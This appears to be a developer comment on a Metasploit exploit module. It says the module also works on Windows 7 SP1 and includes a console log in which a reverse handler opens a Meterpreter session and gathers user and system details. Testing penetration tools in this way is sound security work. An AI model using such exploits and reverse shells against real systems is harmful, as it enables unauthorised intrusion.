Looks like it also work on Win7SP1. Would worth to update targets.

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.3:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:51475) at 2013-10-29 08:53:41 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
```